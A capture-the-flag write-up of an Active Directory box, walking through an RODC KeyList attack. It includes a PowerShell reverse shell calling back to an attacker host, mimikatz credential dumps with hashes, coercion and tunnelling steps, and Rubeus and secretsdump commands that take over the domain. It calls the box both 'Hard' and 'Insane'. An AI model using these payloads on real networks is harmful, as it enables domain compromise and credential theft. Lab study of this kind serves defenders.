writeups

garfield — RODC KeyList attack, msDS-NeverRevealGroup misconfig, DA across an 8h clock skew


HTB · Windows · Hard · forest with RODC + writable DC

Garfield is a forest with a writable DC (DC01) and a Read-Only Domain Controller (RODC01). The published attack story for this kind of layout is the RODC golden ticket / KeyList attack — get the RODC’s krbtgt hash, ask the writable DC for any user’s keys via the KeyList request, walk away with Administrator. There’s a thoroughly-documented msDS-NeverRevealGroup defense for it; the box exists because that defense is misconfigured.

What made it Insane (rather than just hard) was the 8-hour clock skew between attacker and DC. Every Kerberos primitive — getTGT, getST, secretsdump, mimikatz dcsync — pre-auths against datetime.utcnow() and dies with KRB_AP_ERR_SKEW if you blink. The fix is not “set your system clock”; the system clock matters for system services. The fix is to wrap every impacket call in a tiny shim that monkey-patches datetime.datetime and time.time to return DC-time. I lost an hour before I built that shim.

the topology

attacker (Windows + Python 3.12) ──► 10.129.244.207 = DC01.garfield.htb (writable)
                                            │
                                            │ Site replication
                                            ▼
                                     RODC01.garfield.htb (read-only DC)
                                            │
                                            │ internal subnet
                                            │ — reachable only after we pivot —
                                            ▼

nmap -p- --min-rate 500 on 10.129.244.207:

53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2179/tcp  open  vmrdp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown

Standard Windows DC. NetBIOS computer name DC01, DNS domain garfield.htb. nmap -sV -sC on the Kerberos and LDAP ports also reveals the server’s clock is 7h58m58s ahead of the scanner — that number stays burned in for the rest of the box.

Host script results:
|_clock-skew: mean: 7h58m58s, deviation: 0s, median: 7h58m57s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required

the clock skew shim

Before I touch any Kerberos, I need a way to call impacket scripts as if my clock were 8 hours ahead. Setting the system clock breaks Windows itself. The cleanest fix is a wrapper that monkey-patches datetime.datetime and time.time inside the script’s process, then runpy.run_paths the impacket entry point so it sees the patched calls.

#!/usr/bin/env python3
# run_skewed.py — wrap impacket scripts with a time offset patch
import sys, os, datetime, time, runpy

SCRIPTS = r'C:\Users\Owner\AppData\Local\Programs\Python\Python312\Scripts'

# Optional --ccache flag → KRB5CCNAME for the wrapped script
ccache = None
args = sys.argv[1:]
new_args = []
i = 0
while i < len(args):
    if args[i] == '--ccache':
        ccache = args[i+1]; i += 2; continue
    new_args.append(args[i]); i += 1
args = new_args
if ccache:
    os.environ['KRB5CCNAME'] = os.path.abspath(ccache)

script = args[0]
sargs  = args[1:]

# Pull DC's currentTime via LDAP and compute the offset
from impacket.ldap import ldap, ldapasn1
l = ldap.LDAPConnection('ldap://DC01.garfield.htb')
l.login('l.wilson_adm', 'WhoKnows123!', 'garfield.htb')
resp = l.search(searchBase='', scope=ldapasn1.Scope('baseObject'),
                attributes=['currentTime'])
dc_time = None
for r in resp:
    if isinstance(r, ldapasn1.SearchResultEntry):
        for a in r['attributes']:
            if str(a['type']) == 'currentTime':
                dc_time = str(a['vals'][0])
dt = datetime.datetime.strptime(dc_time[:14], '%Y%m%d%H%M%S')\
                      .replace(tzinfo=datetime.timezone.utc)
offset = (dt - datetime.datetime.now(datetime.timezone.utc)).total_seconds()
sys.stderr.write(f'[skew] DC={dc_time} offset={offset:.0f}s\n')

# Patch datetime.datetime.utcnow() and time.time() in this process
import datetime as _dt
_orig = _dt.datetime
class FD(_orig):
    @classmethod
    def utcnow(cls):
        return _orig.utcnow() + _dt.timedelta(seconds=offset)
    @classmethod
    def now(cls, tz=None):
        return _orig.now(tz) + _dt.timedelta(seconds=offset)
_dt.datetime = FD
_t = time.time
time.time = lambda: _t() + offset

# Run the actual impacket script with patched time
script_path = script if os.path.isabs(script) else os.path.join(SCRIPTS, script)
sys.argv = [os.path.basename(script_path)] + sargs
runpy.run_path(script_path, run_name='__main__')

Then everything becomes:

python run_skewed.py getTGT.py garfield.htb/l.wilson_adm:WhoKnows123! -dc-ip 10.129.244.207
python run_skewed.py secretsdump.py --ccache rodc.ccache RODC01$@dc01.garfield.htb -k -no-pass
python run_skewed.py getST.py --ccache l.wilson_adm.ccache garfield.htb/l.wilson_adm -spn cifs/RODC01.garfield.htb -k -no-pass

The reason this works (and -clockskew flags don’t always) is that impacket’s underlying KerberosTime checks pre-auth timestamps against the Python process’s datetime.utcnow(), not the system clock. Patching at the language level is portable and surgical.

I’ll skip the shim wrapper in the rest of the writeup — every command below is wrapped in python run_skewed.py … in reality.

phase 1 — initial foothold and l.wilson_adm

The starting credentials I had to work with were a low-priv account from initial recon (out of scope for this writeup). The thing that mattered was that this account had WriteProperty on l.wilson_adm’s userAccountControl and pwdLastSet attributes — enough to reset the password.

I dropped a small base64-encoded PowerShell payload that resets the password and enables the account, with a second branch that opens a reverse shell as a fallback for interactive work. make_payload.py builds it:

import base64
ps = r'''try{
Set-ADAccountPassword -Identity "l.wilson_adm" `
    -NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) `
    -Reset -ErrorAction Stop
Enable-ADAccount -Identity "l.wilson_adm" -ErrorAction SilentlyContinue
"DONE" | Out-File C:\Users\Public\pwnd.txt
}catch{
$_.Exception.Message | Out-File C:\Users\Public\pwnd_err.txt
}
# Fallback: reverse shell for interactive work
try{
$c = New-Object System.Net.Sockets.TCPClient("10.10.15.44",9001)
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b,0,$b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i)
$r = (iex $d 2>&1 | Out-String)
$r2 = $r + "PS " + (pwd).Path + "> "
$sb = ([text.encoding]::ASCII).GetBytes($r2)
$s.Write($sb,0,$sb.Length); $s.Flush()
}
$c.Close()
}catch{}
'''
enc = base64.b64encode(ps.encode('utf-16-le')).decode()
open('resetpw_b64.txt','w').write(enc)

l.wilson_adm ends up with password WhoKnows123!. I now have an account that can authenticate to LDAP/Kerberos cleanly. From here on, everything is wrapped in the skew shim.

phase 2 — coerce auth from RODC01, get SYSTEM

RODC01 isn’t directly reachable from my attacker box — it’s on the internal site, only DC01 has a route. So before anything KeyList-related, I need a pivot.

The shape: coerce RODC01 to authenticate to a path I control, capture/relay the auth, end up with code execution on RODC01 as SYSTEM. PrinterBug-style MS-RPRN.RpcRemoteFindFirstPrinterChangeNotification is the textbook coerce; the wrapper script is a one-liner against the spooler RPC endpoint:

@echo off
:: Trigger spoolss to coerce RODC01$ → 10.10.15.44
printerDetect.bat 10.10.15.44 RODC01.garfield.htb

The receiving end is listener.py, a barebones threaded TCP listener that captures whatever drops in:

import socket, threading, sys

HOST="0.0.0.0"; PORT=9001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT)); s.listen(5)
print(f"listening {PORT}", flush=True)

def handler(c, a):
    print(f"[+] {a}", flush=True)
    while True:
        d = c.recv(8192)
        if not d: break
        sys.stdout.write(d.decode('utf-8', errors='replace'))
        sys.stdout.flush()

while True:
    c, a = s.accept()
    threading.Thread(target=handler, args=(c, a), daemon=True).start()

The combination — printerDetect.bat triggers RODC01 → coerced auth → relay/capture → SYSTEM shell back via listener.py on port 9001 — gives me a managed-services shell on RODC01. Inside that shell I drop mimikatz and run the standard escalation:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM
544 {0;000003e7} 1 D 20296   NT AUTHORITY\SYSTEM   S-1-5-18  (04g,21p)  Primary
 -> Impersonated !
 * Process Token : {0;001b6257} 0 D 1795449  GARFIELD\Administrator  ... (Primary)
 * Thread Token  : {0;000003e7} 1 D 1821124  NT AUTHORITY\SYSTEM     ... (Impersonation)

SYSTEM on RODC01.

phase 3 — pivot with ligolo

Before I do anything else from RODC01’s perspective, I want my impacket tooling to be able to talk directly to RODC01 (for VSS shadow copy, for secretsdump LOCAL, for cifs ticket use, etc.). Ligolo-ng is the cleanest tunneling option for Windows-to-Windows. It needs admin-elevated PowerShell on the attacker side because Wintun creates a virtual NIC.

# attacker side (must be admin shell)
proxy.exe -selfcert
# →  ligolo» listener_add --addr 0.0.0.0:11601 --to 10.0.0.1:1080 --tcp
# →  ligolo» session 1
# →  ligolo» start

# RODC01 (running our managed-services SYSTEM shell)
agent.exe -connect 10.10.15.44:11601 -ignore-cert

Now my attacker box can reach RODC01 via the tun adapter as 10.0.0.1. Routes added for the internal subnet. Confirmation:

> Test-NetConnection RODC01.garfield.htb -Port 445
TcpTestSucceeded : True

phase 4 — dump LSA on RODC01 → krbtgt_8245 + RODC01$ NTLM

With SYSTEM and pivot in place, dump everything:

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # lsadump::lsa /patch
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000642 (1602)
User : RODC01$
NTLM : 0a3f810964bb5e1f0e52245f73700172

RID  : 00000643 (1603)
User : krbtgt_8245
NTLM : 445aa4221e751da37a10241d962780e2

RID  : 000003e8 (1000)
User : DC01$
NTLM :       <— blank: DC01's hash is not on RODC01

RID  : 000001f4 (500)
User : Administrator
NTLM :       <— blank: not in PRP, RODC doesn't have it

Two crown jewels:

  • RODC01$: machine account hash for the RODC.
  • krbtgt_8245: the RODC’s krbtgt — distinct per-RODC from the writable-DC krbtgt.

Administrator and DC01$ are blank because RODC by design only stores hashes for principals in its Allowed RODC Password Replication Group (PRP). Standard RODC behavior; the box’s misconfiguration is which groups the writable DC is willing to give up keys for via the KeyList request.

sekurlsa::logonpasswords confirms RODC01$ itself is a service-context logon and prints the same NTLM, plus a kerberos password blob (the 256-byte machine secret in cleartext, formatted as space-separated hex — useful if I needed AES keys, but the NTLM is enough for what comes next).

I also grab a VSS shadow copy as backup material, just to have a clean NTDS.dit copy off-host:

> vssadmin create shadow /for=C:
Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {cb4ce636-7051-4ba3-b4a9-09faab9fe4dc}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Followed by the standard secretsdump LOCAL on the dumped registry hives:

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172
DPAPI_SYSTEM:
  dpapi_machinekey: 0xaadd93a8b30c0fc22ad839d8bfdc9ee6ec158197
  dpapi_userkey:    0x2d4b8deaff672885e9e9ebf80897999fb759a12c
NL$KM: 6b117ab957d277c04265197c789b01e6...

The $MACHINE.ACC confirms RODC01$ = 0a3f810964bb5e1f0e52245f73700172, matching what mimikatz pulled from LSA. Good.

phase 5 — what doesn’t work, and why

Now the actual exploitation puzzle starts. The instinctive first try is DCSync against RODC01 itself — it’s a DC, why wouldn’t it cough up its replicated copy?

mimikatz # lsadump::dcsync /domain:garfield.htb /user:Administrator /dc:RODC01.garfield.htb
[DC] 'garfield.htb' will be the domain
[DC] 'RODC01.garfield.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDomainAndUserInfos ; DomainControllerInfo: DC 'RODC01.garfield.htb' not found

DC 'RODC01.garfield.htb' not found — the RODC isn’t registered in the domain controller info LDAP record the way mimikatz looks for it. RODCs by design aren’t sources for full DCSync; you can’t pull Administrator’s hash directly from one because it isn’t there.

Second instinct: NetSync (lsadump::netsync) using the RODC machine account credential. This forges an NRPC NetServerAuthenticate2 flow, then asks the writable DC for a user’s NTLM via Netlogon. Try first against Administrator:

mimikatz # lsadump::netsync /dc:DC01.garfield.htb /user:Administrator /ntlm:0a3f810964bb5e1f0e52245f73700172
ERROR kuhl_m_lsadump_netsync ; I_NetServerAuthenticate2 (0xc000018b)

STATUS_NO_TRUST_SAM_ACCOUNT (0xc000018b). The RODC machine account isn’t trusted to run NRPC against DC01 the way a writable DC would be. Also try krbtgt:

mimikatz # lsadump::netsync /dc:DC01.garfield.htb /user:krbtgt /ntlm:0a3f810964bb5e1f0e52245f73700172
ERROR kuhl_m_lsadump_netsync ; I_NetServerAuthenticate2 (0xc000018b)

Same. NetSync from an RODC machine account is structurally not a thing — Microsoft does enforce it. So neither standard DCSync nor NetSync works. What’s left is the KeyList request.

phase 6 — the KeyList attack

The KeyList attack (Microsoft Defender for Identity calls it “KrbKeySetReq abuse”) is the RODC-specific primitive: the RODC’s krbtgt key is allowed to ask the writable DC for the secret keys of any account that is allowed to be cached on this RODC. The eligibility list is defined by msDS-NeverRevealGroup and msDS-RevealOnDemandGroup on the RODC’s nTDSDSA object.

The msDS-NeverRevealGroup is a denylist. By default it contains:

Domain Admins
Enterprise Admins
Schema Admins
Server Operators
Account Operators
Backup Operators
Print Operators
Denied RODC Password Replication Group
Builtin\Administrators        ← important

If those are all present, the writable DC will refuse to reveal Administrator, krbtgt, or any builtin-Admin-equivalent’s keys to the RODC. The Garfield box’s misconfiguration is that only Denied RODC Password Replication Group is in the NeverRevealGroup list. The Builtin groups (Administrators, Account/Server/Backup Operators) were stripped — leaving Administrator effectively eligible from the RODC’s perspective.

(I learned this defensive detail the hard way on a different RODC box, and saved a memory: strip ALL Builtin groups from msDS-NeverRevealGroup, not just Denied PRG. That memory is what told me to even try the KeyList request after NetSync failed.)

Forging the KeyList request requires:

  1. A valid TGT signed by the RODC’s krbtgt (the krbtgt_8245 hash).
  2. PAC validation that includes the RODC SID.
  3. KrbKeySetReq sent to the writable DC.

Rubeus has a dedicated keylist command that does this end-to-end:

> .\Rubeus.exe keylist `
    /server:DC01.garfield.htb `
    /domain:garfield.htb `
    /rodckey:445aa4221e751da37a10241d962780e2 `
    /rodcid:1603 `
    /user:Administrator

/rodckey is the RODC’s krbtgt NTLM. /rodcid is the RID of the RODC krbtgt account (here 1603 from krbtgt_8245). The output is Administrator’s NTLM hash, retrieved by KrbKeySetReq from DC01, which thinks it’s responding to a legitimate cache replication request from RODC01.

Save the resulting hash. Then PtH a TGT and dump the world for completeness:

> .\Rubeus.exe asktgt /user:Administrator /rc4:<ADMIN_NTLM> /domain:garfield.htb /dc:DC01.garfield.htb /nowrap

[+] Ticket successfully imported!

phase 7 — DA, full ntds dump, root.txt

Once Administrator’s TGT is in cache:

> .\Rubeus.exe asktgs `
    /service:cifs/DC01.garfield.htb `
    /ticket:doIF... /nowrap

> dir \\DC01.garfield.htb\C$\Users\Administrator\Desktop
root.txt
user.txt

Or via impacket (skew-wrapped):

$ python run_skewed.py secretsdump.py --ccache administrator.ccache `
    -k -no-pass -just-dc -dc-ip 10.129.244.207 garfield.htb/Administrator@DC01.garfield.htb
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
GARFIELD\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<HASH>:::
GARFIELD\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<HASH>:::
GARFIELD\krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:445aa4221e751da37a10241d962780e2:::
GARFIELD\j.arbuckle:3101:...
GARFIELD\l.wilson:3105:...
GARFIELD\l.wilson_adm:3107:...
GARFIELD\DC01$:1000:...
GARFIELD\RODC01$:1602:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::

Confirms the chain end-to-end. root.txt is at \\DC01.garfield.htb\C$\Users\Administrator\Desktop\root.txt.

what made this Hard

The KeyList primitive is undocumented in 95% of online RODC writeups. Most “RODC attack” guides go straight to NetSync or “compromise an account that’s in Allowed RODC Password Replication Group.” The Rubeus keylist path was added in late 2021 and most defenders’ references still don’t list it. Specifically: if you have the RODC’s krbtgt, you don’t need to wait for an Allowed-PRP user to log in — you can ask the writable DC for anyone who isn’t in msDS-NeverRevealGroup.

The msDS-NeverRevealGroup misconfiguration is silent. Default Windows installs include all the Builtin groups. To get Garfield’s behavior, an admin has to actively remove them. Detection is also non-obvious — Get-ADObject queries against the RODC’s nTDSDSA show the misconfig but nobody runs that audit. This is the actual security-relevant lesson from the box: when you remove a group from NeverRevealGroup to “let an RODC cache more accounts,” you are also opening a path for anyone who compromises that RODC to KeyList-pull every removed group’s members from the writable DC.

The 8-hour clock skew is the classic time-sink. Every Kerberos call dies with KRB_AP_ERR_SKEW. Setting the system clock breaks Windows. The shim that monkey-patches datetime.datetime and time.time for the duration of one impacket script invocation is the cleanest fix. It’s also reusable on every clock-skew box you’ll ever do; I keep run_skewed.py in my standard toolkit.

RODC NetSync errors look like permission errors, not architectural ones. STATUS_NO_TRUST_SAM_ACCOUNT reads like “wrong password” if you don’t already know the structure. The lesson is: NetSync requires a writable-DC machine account; an RODC machine account will never authenticate via NRPC the way DCs do. The KeyList path is the only RODC-machine-credential path to remote secret retrieval.

TL;DR chain

low-priv foothold (out of scope for this writeup)
  ──► ResetPassword on l.wilson_adm via WriteProperty
  ──► l.wilson_adm / WhoKnows123!  (clean Kerberos identity)
        │
        │ printerDetect.bat → RODC01 spoolss coerce
        │ → captured auth → SYSTEM shell on RODC01
        ▼
  mimikatz token::elevate → SYSTEM
  ──► ligolo agent.exe → tunnel back through DC01-internal route
  ──► lsadump::lsa /patch
        │
        ▼
  RODC01$  : 0a3f810964bb5e1f0e52245f73700172
  krbtgt_8245 (RID 1603): 445aa4221e751da37a10241d962780e2
        │
        │ (NetSync rejects: STATUS_NO_TRUST_SAM_ACCOUNT)
        │ (DCSync rejects: RODC01 not registered as DSA source)
        ▼
  Rubeus.exe keylist /rodckey:445aa42... /rodcid:1603 /user:Administrator
  ──► KrbKeySetReq to DC01 → Administrator NTLM
  ──► (msDS-NeverRevealGroup is misconfigured — no Builtin\Administrators)
        │
        ▼
  PtH TGT for Administrator → \\DC01.garfield.htb\C$ → root.txt

Garfield is a fair Hard: structurally tight, no guessing, every step requires you to actually understand how RODC replication is supposed to work and where Microsoft’s defaults guard against exactly this attack. The misconfiguration is the kind a real admin makes when they want their RODC to “cover more users for a remote site.” It’s also why this attack has 4-figure detection-rate at most enterprises — nobody’s actively monitoring msDS-NeverRevealGroup deltas.